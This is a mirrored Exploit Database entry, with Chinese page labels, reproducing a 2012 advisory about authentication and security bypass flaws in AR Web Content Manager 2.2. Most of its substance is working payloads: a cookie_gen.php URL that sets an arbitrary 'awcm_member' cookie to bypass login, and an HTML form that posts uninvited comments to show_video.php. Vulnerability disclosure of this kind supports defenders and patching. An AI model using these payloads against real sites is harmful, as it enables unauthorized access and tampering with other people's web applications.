AR Web Content Manager (AWCM) – ‘cookie_gen.php’ Arbitrary Cookie Generation

• Exploit Database
• 114 阅读

• 作者： Sooel Son
  日期： 2012-11-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38015/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23

  source: https://www.securityfocus.com/bid/56465/info   AWCM is prone to an authentication-bypass and multiple security-bypass vulnerabilities.   Attackers can exploit these vulnerabilities to bypass certain security restrictions, perform unauthorized actions; which may aid in further attacks.   AWCM 2.2 is vulnerable; other versions may also be affected.   Authentication Bypass:   http://www.example.com/awcm/cookie_gen.php?name=\&apos;key\&apos;&content=\&apos;value\&apos; ex) http://targethost/awcm/cookie_gen.php? name=awcm_member&content=123456   Security Bypass:   [form action=\"http://www.example.com/awcm/show_video.php?coment=exploit\" method=\"post\"] [input type=\"hidden\" name=\"coment\" value=\&apos;insert uninvited comments 2\&apos; /] [input type=\"submit\" value=\"Submit\"] </form>